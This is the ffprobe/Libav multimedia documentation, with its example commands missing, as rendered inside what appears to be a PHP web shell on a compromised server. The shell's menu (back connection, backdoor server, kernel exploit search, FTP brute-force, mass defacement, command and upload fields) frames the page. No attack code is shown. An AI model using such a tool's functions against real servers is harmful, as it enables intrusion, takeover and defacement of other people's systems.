IP Address: 80.252.133.24:443 You: 216.73.216.193
| |||||||||||||||||||
|
| ||||||||||||||||||
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON | |||||||||||||||||||
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, | |||||||||||||||||||
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ] |
|||||||||||||||||||
| |||||||||||||||||||
/ usr/ share/ doc/ ffmpeg/ html/ - drwxr-xr-x |
Viewing file:
Select action/file-type: ffprobe DocumentationTable of Contents1. SynopsisThe generic syntax is:
2. Descriptionffprobe gathers information from multimedia streams and prints it in human- and machine-readable fashion. For example it can be used to check the format of the container used by a multimedia stream and the format and type of each media stream contained in it. If a filename is specified in input, ffprobe will try to open and probe the file content. If the file cannot be opened or recognized as a multimedia file, a positive exit code is returned. ffprobe may be employed both as a standalone application or in combination with a textual filter, which may perform more sophisticated processing, e.g. statistical processing or plotting. Options are used to list some of the formats supported by ffprobe or for specifying which information to display, and for setting how ffprobe will show it. ffprobe output is designed to be easily parsable by a textual filter, and consists of one or more sections of the form:
Metadata tags stored in the container or in the streams are recognized and printed in the corresponding "FORMAT" or "STREAM" section, and are prefixed by the string "TAG:". 3. OptionsAll the numerical options, if not specified otherwise, accept in input a string representing a number, which may contain one of the International System number postfixes, for example ’K’, ’M’, ’G’. If ’i’ is appended after the postfix, powers of 2 are used instead of powers of 10. The ’B’ postfix multiplies the value for 8, and can be appended after another postfix or used alone. This allows using for example ’KB’, ’MiB’, ’G’ and ’B’ as postfix. Options which do not take arguments are boolean options, and set the corresponding value to true. They can be set to false by prefixing with "no" the option name, for example using "-nofoo" in the commandline will set to false the boolean option with name "foo". 3.1 Generic optionsThese options are shared amongst the ff* tools.
3.2 Main options
4. DemuxersDemuxers are configured elements in Libav which allow to read the multimedia streams from a particular type of file. When you configure your Libav build, all the supported demuxers are enabled by default. You can list all available ones using the configure option "–list-demuxers". You can disable all the demuxers using the configure option "–disable-demuxers", and selectively enable a single demuxer with the option "–enable-demuxer=DEMUXER", or disable it with the option "–disable-demuxer=DEMUXER". The option "-formats" of the ff* tools will display the list of enabled demuxers. The description of some of the currently available demuxers follows. 4.1 image2Image file demuxer. This demuxer reads from a list of image files specified by a pattern. The pattern may contain the string "%d" or "%0Nd", which specifies the position of the characters representing a sequential number in each filename matched by the pattern. If the form "%d0Nd" is used, the string representing the number in each filename is 0-padded and N is the total number of 0-padded digits representing the number. The literal character ’%’ can be specified in the pattern with the string "%%". If the pattern contains "%d" or "%0Nd", the first filename of the file list specified by the pattern must contain a number inclusively contained between 0 and 4, all the following numbers must be sequential. This limitation may be hopefully fixed. The pattern may contain a suffix which is used to automatically determine the format of the images contained in the files. For example the pattern "img-%03d.bmp" will match a sequence of filenames of the form ‘img-001.bmp’, ‘img-002.bmp’, ..., ‘img-010.bmp’, etc.; the pattern "i%%m%%g-%d.jpg" will match a sequence of filenames of the form ‘i%m%g-1.jpg’, ‘i%m%g-2.jpg’, ..., ‘i%m%g-10.jpg’, etc. The size, the pixel format, and the format of each image must be the same for all the files in the sequence. The following example shows how to use ‘ffmpeg’ for creating a video from the images in the file sequence ‘img-001.jpeg’, ‘img-002.jpeg’, ..., assuming an input framerate of 10 frames per second:
Note that the pattern must not necessarily contain "%d" or "%0Nd", for example to convert a single image file ‘img.jpeg’ you can employ the command:
4.2 applehttpApple HTTP Live Streaming demuxer. This demuxer presents all AVStreams from all variant streams. The id field is set to the bitrate variant index number. By setting the discard flags on AVStreams (by pressing ’a’ or ’v’ in ffplay), the caller can decide which variant streams to actually receive. The total bitrate of the variant that the stream belongs to is available in a metadata key named "variant_bitrate". 5. MuxersMuxers are configured elements in Libav which allow writing multimedia streams to a particular type of file. When you configure your Libav build, all the supported muxers
are enabled by default. You can list all available muxers using the
configure option You can disable all the muxers with the configure option
The option A description of some of the currently available muxers follows. 5.1 crcCRC (Cyclic Redundancy Check) testing format. This muxer computes and prints the Adler-32 CRC of all the input audio and video frames. By default audio frames are converted to signed 16-bit raw audio and video frames to raw video before computing the CRC. The output of the muxer consists of a single line of the form: CRC=0xCRC, where CRC is a hexadecimal number 0-padded to 8 digits containing the CRC for all the decoded input frames. For example to compute the CRC of the input, and store it in the file ‘out.crc’:
You can print the CRC to stdout with the command:
You can select the output format of each frame with ‘ffmpeg’ by specifying the audio and video codec and format. For example to compute the CRC of the input audio converted to PCM unsigned 8-bit and the input video converted to MPEG-2 video, use the command:
See also the 5.2 framecrcPer-frame CRC (Cyclic Redundancy Check) testing format. This muxer computes and prints the Adler-32 CRC for each decoded audio and video frame. By default audio frames are converted to signed 16-bit raw audio and video frames to raw video before computing the CRC. The output of the muxer consists of a line for each audio and video frame of the form: stream_index, frame_dts, frame_size, 0xCRC, where CRC is a hexadecimal number 0-padded to 8 digits containing the CRC of the decoded frame. For example to compute the CRC of each decoded frame in the input, and store it in the file ‘out.crc’:
You can print the CRC of each decoded frame to stdout with the command:
You can select the output format of each frame with ‘ffmpeg’ by specifying the audio and video codec and format. For example, to compute the CRC of each decoded input audio frame converted to PCM unsigned 8-bit and of each decoded input video frame converted to MPEG-2 video, use the command:
See also the 5.3 image2Image file muxer. The image file muxer writes video frames to image files. The output filenames are specified by a pattern, which can be used to produce sequentially numbered series of files. The pattern may contain the string "%d" or "%0Nd", this string specifies the position of the characters representing a numbering in the filenames. If the form "%0Nd" is used, the string representing the number in each filename is 0-padded to N digits. The literal character ’%’ can be specified in the pattern with the string "%%". If the pattern contains "%d" or "%0Nd", the first filename of the file list specified will contain the number 1, all the following numbers will be sequential. The pattern may contain a suffix which is used to automatically determine the format of the image files to write. For example the pattern "img-%03d.bmp" will specify a sequence of filenames of the form ‘img-001.bmp’, ‘img-002.bmp’, ..., ‘img-010.bmp’, etc. The pattern "img%%-%d.jpg" will specify a sequence of filenames of the form ‘img%-1.jpg’, ‘img%-2.jpg’, ..., ‘img%-10.jpg’, etc. The following example shows how to use ‘ffmpeg’ for creating a sequence of files ‘img-001.jpeg’, ‘img-002.jpeg’, ..., taking one image every second from the input video:
Note that with ‘ffmpeg’, if the format is not specified with the
Note also that the pattern must not necessarily contain "%d" or "%0Nd", for example to create a single image file ‘img.jpeg’ from the input video you can employ the command:
5.4 mpegtsMPEG transport stream muxer. This muxer implements ISO 13818-1 and part of ETSI EN 300 468. The muxer options are:
The recognized metadata settings in mpegts muxer are
5.5 nullNull muxer. This muxer does not generate any output file, it is mainly useful for testing or benchmarking purposes. For example to benchmark decoding with ‘ffmpeg’ you can use the command:
Note that the above command does not read or write the ‘out.null’ file, but specifying the output file is required by the ‘ffmpeg’ syntax. Alternatively you can write the command as:
5.6 matroskaMatroska container muxer. This muxer implements the matroska and webm container specs. The recognized metadata settings in this muxer are:
For example a 3D WebM clip can be created using the following command line:
6. ProtocolsProtocols are configured elements in Libav which allow to access resources which require the use of a particular protocol. When you configure your Libav build, all the supported protocols are enabled by default. You can list all available ones using the configure option "–list-protocols". You can disable all the protocols using the configure option "–disable-protocols", and selectively enable a protocol using the option "–enable-protocol=PROTOCOL", or you can disable a particular protocol using the option "–disable-protocol=PROTOCOL". The option "-protocols" of the ff* tools will display the list of supported protocols. A description of the currently available protocols follows. 6.1 applehttpRead Apple HTTP Live Streaming compliant segmented stream as a uniform one. The M3U8 playlists describing the segments can be remote HTTP resources or local files, accessed using the standard file protocol. HTTP is default, specific protocol can be declared by specifying "+proto" after the applehttp URI scheme name, where proto is either "file" or "http".
6.2 concatPhysical concatenation protocol. Allow to read and seek from many resource in sequence as if they were a unique resource. A URL accepted by this protocol has the syntax:
where URL1, URL2, ..., URLN are the urls of the resource to be concatenated, each one possibly specifying a distinct protocol. For example to read a sequence of files ‘split1.mpeg’, ‘split2.mpeg’, ‘split3.mpeg’ with ‘ffplay’ use the command:
Note that you may need to escape the character "|" which is special for many shells. 6.3 fileFile access protocol. Allow to read from or read to a file. For example to read from a file ‘input.mpeg’ with ‘ffmpeg’ use the command:
The ff* tools default to the file protocol, that is a resource specified with the name "FILE.mpeg" is interpreted as the URL "file:FILE.mpeg". 6.4 gopherGopher protocol. 6.5 httpHTTP (Hyper Text Transfer Protocol). 6.6 mmstMMS (Microsoft Media Server) protocol over TCP. 6.7 mmshMMS (Microsoft Media Server) protocol over HTTP. The required syntax is:
6.8 md5MD5 output protocol. Computes the MD5 hash of the data to be written, and on close writes this to the designated output or stdout if none is specified. It can be used to test muxers without writing an actual file. Some examples follow.
Note that some formats (typically MOV) require the output protocol to be seekable, so they will fail with the MD5 output protocol. 6.9 pipeUNIX pipe access protocol. Allow to read and write from UNIX pipes. The accepted syntax is:
number is the number corresponding to the file descriptor of the pipe (e.g. 0 for stdin, 1 for stdout, 2 for stderr). If number is not specified, by default the stdout file descriptor will be used for writing, stdin for reading. For example to read from stdin with ‘ffmpeg’:
For writing to stdout with ‘ffmpeg’:
Note that some formats (typically MOV), require the output protocol to be seekable, so they will fail with the pipe output protocol. 6.10 rtmpReal-Time Messaging Protocol. The Real-Time Messaging Protocol (RTMP) is used for streaming multime‐ dia content across a TCP/IP network. The required syntax is:
The accepted parameters are:
For example to read with ‘ffplay’ a multimedia resource named "sample" from the application "vod" from an RTMP server "myserver":
6.11 rtmp, rtmpe, rtmps, rtmpt, rtmpteReal-Time Messaging Protocol and its variants supported through librtmp. Requires the presence of the librtmp headers and library during configuration. You need to explicitely configure the build with "–enable-librtmp". If enabled this will replace the native RTMP protocol. This protocol provides most client functions and a few server functions needed to support RTMP, RTMP tunneled in HTTP (RTMPT), encrypted RTMP (RTMPE), RTMP over SSL/TLS (RTMPS) and tunneled variants of these encrypted types (RTMPTE, RTMPTS). The required syntax is:
where rtmp_proto is one of the strings "rtmp", "rtmpt", "rtmpe", "rtmps", "rtmpte", "rtmpts" corresponding to each RTMP variant, and server, port, app and playpath have the same meaning as specified for the RTMP native protocol. options contains a list of space-separated options of the form key=val. See the librtmp manual page (man 3 librtmp) for more information. For example, to stream a file in real-time to an RTMP server using ‘ffmpeg’:
To play the same stream using ‘ffplay’:
6.12 rtpReal-Time Protocol. 6.13 rtspRTSP is not technically a protocol handler in libavformat, it is a demuxer and muxer. The demuxer supports both normal RTSP (with data transferred over RTP; this is used by e.g. Apple and Microsoft) and Real-RTSP (with data transferred over RDT). The muxer can be used to send a stream using RTSP ANNOUNCE to a server supporting it (currently Darwin Streaming Server and Mischa Spiegelmock’s RTSP server, http://github.com/revmischa/rtsp-server). The required syntax for a RTSP url is:
options is a
Multiple lower transport protocols may be specified, in that case they are
tried one at a time (if the setup of one fails, the next one is tried).
For the muxer, only the When receiving data over UDP, the demuxer tries to reorder received packets
(since they may arrive out of order, or packets may get lost totally). In
order for this to be enabled, a maximum delay must be specified in the
When watching multi-bitrate Real-RTSP streams with ‘ffplay’, the
streams to display can be chosen with Example command lines: To watch a stream over UDP, with a max reordering delay of 0.5 seconds:
To watch a stream tunneled over HTTP:
To send a stream in realtime to a RTSP server, for others to watch:
6.14 sapSession Announcement Protocol (RFC 2974). This is not technically a protocol handler in libavformat, it is a muxer and demuxer. It is used for signalling of RTP streams, by announcing the SDP for the streams regularly on a separate port. 6.14.1 MuxerThe syntax for a SAP url given to the muxer is:
The RTP packets are sent to destination on port port,
or to port 5004 if no port is specified.
options is a
Example command lines follow. To broadcast a stream on the local subnet, for watching in VLC:
Similarly, for watching in ffplay:
And for watching in ffplay, over IPv6:
6.14.2 DemuxerThe syntax for a SAP url given to the demuxer is:
address is the multicast address to listen for announcements on, if omitted, the default 224.2.127.254 (sap.mcast.net) is used. port is the port that is listened on, 9875 if omitted. The demuxers listens for announcements on the given address and port. Once an announcement is received, it tries to receive that particular stream. Example command lines follow. To play back the first stream announced on the normal SAP multicast address:
To play back the first stream announced on one the default IPv6 SAP multicast address:
6.15 tcpTrasmission Control Protocol. The required syntax for a TCP url is:
6.16 udpUser Datagram Protocol. The required syntax for a UDP url is:
options contains a list of &-seperated options of the form key=val. Follow the list of supported options.
Some usage examples of the udp protocol with ‘ffmpeg’ follow. To stream over UDP to a remote endpoint:
To stream in mpegts format over UDP using 188 sized UDP packets, using a large input buffer:
To receive over UDP from a remote endpoint:
7. Input DevicesInput devices are configured elements in Libav which allow to access the data coming from a multimedia device attached to your system. When you configure your Libav build, all the supported input devices are enabled by default. You can list all available ones using the configure option "–list-indevs". You can disable all the input devices using the configure option "–disable-indevs", and selectively enable an input device using the option "–enable-indev=INDEV", or you can disable a particular input device using the option "–disable-indev=INDEV". The option "-formats" of the ff* tools will display the list of supported input devices (amongst the demuxers). A description of the currently available input devices follows. 7.1 alsaALSA (Advanced Linux Sound Architecture) input device. To enable this input device during configuration you need libasound installed on your system. This device allows capturing from an ALSA device. The name of the device to capture has to be an ALSA card identifier. An ALSA identifier has the syntax:
where the DEV and SUBDEV components are optional. The three arguments (in order: CARD,DEV,SUBDEV) specify card number or identifier, device number and subdevice number (-1 means any). To see the list of cards currently recognized by your system check the files ‘/proc/asound/cards’ and ‘/proc/asound/devices’. For example to capture with ‘ffmpeg’ from an ALSA device with card id 0, you may run the command:
For more information see: http://www.alsa-project.org/alsa-doc/alsa-lib/pcm.html 7.2 bktrBSD video input device. 7.3 dv1394Linux DV 1394 input device. 7.4 fbdevLinux framebuffer input device. The Linux framebuffer is a graphic hardware-independent abstraction layer to show graphics on a computer monitor, typically on the console. It is accessed through a file device node, usually ‘/dev/fb0’. For more detailed information read the file Documentation/fb/framebuffer.txt included in the Linux source tree. To record from the framebuffer device ‘/dev/fb0’ with ‘ffmpeg’:
You can take a single screenshot image with the command:
See also http://linux-fbdev.sourceforge.net/, and fbset(1). 7.5 jackJACK input device. To enable this input device during configuration you need libjack installed on your system. A JACK input device creates one or more JACK writable clients, one for each audio channel, with name client_name:input_N, where client_name is the name provided by the application, and N is a number which identifies the channel. Each writable client will send the acquired data to the Libav input device. Once you have created one or more JACK readable clients, you need to connect them to one or more JACK writable clients. To connect or disconnect JACK clients you can use the ‘jack_connect’ and ‘jack_disconnect’ programs, or do it through a graphical interface, for example with ‘qjackctl’. To list the JACK clients and their properties you can invoke the command ‘jack_lsp’. Follows an example which shows how to capture a JACK readable client with ‘ffmpeg’.
For more information read: http://jackaudio.org/ 7.6 libdc1394IIDC1394 input device, based on libdc1394 and libraw1394. 7.7 ossOpen Sound System input device. The filename to provide to the input device is the device node representing the OSS input device, and is usually set to ‘/dev/dsp’. For example to grab from ‘/dev/dsp’ using ‘ffmpeg’ use the command:
For more information about OSS see: http://manuals.opensound.com/usersguide/dsp.html 7.8 sndiosndio input device. To enable this input device during configuration you need libsndio installed on your system. The filename to provide to the input device is the device node representing the sndio input device, and is usually set to ‘/dev/audio0’. For example to grab from ‘/dev/audio0’ using ‘ffmpeg’ use the command:
7.9 video4linux and video4linux2Video4Linux and Video4Linux2 input video devices. The name of the device to grab is a file device node, usually Linux systems tend to automatically create such nodes when the device (e.g. an USB webcam) is plugged into the system, and has a name of the kind ‘/dev/videoN’, where N is a number associated to the device. Video4Linux and Video4Linux2 devices only support a limited set of widthxheight sizes and framerates. You can check which are supported for example with the command ‘dov4l’ for Video4Linux devices and the command ‘v4l-info’ for Video4Linux2 devices. If the size for the device is set to 0x0, the input device will try to autodetect the size to use. Only for the video4linux2 device, if the frame rate is set to 0/0 the input device will use the frame rate value already set in the driver. Video4Linux support is deprecated since Linux 2.6.30, and will be dropped in later versions. Follow some usage examples of the video4linux devices with the ff* tools.
7.10 vfwcapVfW (Video for Windows) capture input device. The filename passed as input is the capture driver number, ranging from 0 to 9. You may use "list" as filename to print a list of drivers. Any other filename will be interpreted as device number 0. 7.11 x11grabX11 video input device. This device allows to capture a region of an X11 display. The filename passed as input has the syntax:
hostname:display_number.screen_number specifies the
X11 display name of the screen to grab from. hostname can be
ommitted, and defaults to "localhost". The environment variable
x_offset and y_offset specify the offsets of the grabbed area with respect to the top-left border of the X11 screen. They default to 0. Check the X11 documentation (e.g. man X) for more detailed information. Use the ‘dpyinfo’ program for getting basic information about the properties of your X11 display (e.g. grep for "name" or "dimensions"). For example to grab from ‘:0.0’ using ‘ffmpeg’:
This document was generated by Build Daemon user on June 12, 2012 using texi2html 1.82.
|
Command: | |
Quick Commands: | |
Upload: | |
PHP Filesystem: |
<@ |
Search File: | |
Create File: | |
View File: | |
Mass Defacement: |